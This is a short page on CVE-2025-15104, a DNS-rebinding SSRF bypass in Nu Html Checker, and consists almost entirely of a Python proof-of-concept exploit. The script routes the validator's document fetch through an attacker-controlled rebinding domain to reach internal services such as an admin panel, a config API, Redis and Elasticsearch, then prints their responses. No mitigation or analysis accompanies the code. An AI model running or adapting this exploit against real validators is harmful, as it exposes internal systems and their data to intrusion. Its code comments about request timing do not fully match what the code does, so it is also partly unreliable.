CVE-2025-15104: Nu Html Checker DNS重绑定绕过SSRF漏洞

import requests import time # CVE-2025-15104 PoC - DNS Rebinding SSRF Bypass # Target: Nu Html Checker (vnu) def exploit_nu_checker_ssrf(target_url, attacker_domain): """ Exploit DNS rebinding to bypass SSRF protections in Nu Html Checker Args: target_url: URL of the vulnerable Nu Html Checker instance attacker_domain: Attacker's DNS rebinding domain """ # Step 1: Set up DNS rebinding domain that first resolves to external IP, # then quickly switches to 127.0.0.1 # This can be done using services like rbndr.us or custom DNS server rebind_domain = f"{attacker_domain}.rbndr.us" # Example DNS rebinding service # Step 2: First request - domain resolves to external IP (passes check) payload = { 'doc': f'http://{rebind_domain}/safe-endpoint' } # Step 3: Rapid second request - DNS cache expires, now resolves to 127.0.0.1 # The validator will now fetch content from localhost internal_targets = [ 'http://127.0.0.1:8080/admin', 'http://localhost:3000/api/config', 'http://127.0.0.1:6379/', # Redis 'http://127.0.0.1:9200/_cluster/health' # Elasticsearch ] for target in internal_targets: payload['doc'] = f'http://{rebind_domain}/redirect?url={target}' try: response = requests.post( f'{target_url}/?out=json', data=payload, timeout=5 ) print(f"Target: {target}") print(f"Status: {response.status_code}") print(f"Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"Error accessing {target}: {e}") if __name__ == "__main__": # Configuration TARGET = "http://validator.example.com" ATTACKER_DOMAIN = "attacker-controlled-domain" exploit_nu_checker_ssrf(TARGET, ATTACKER_DOMAIN)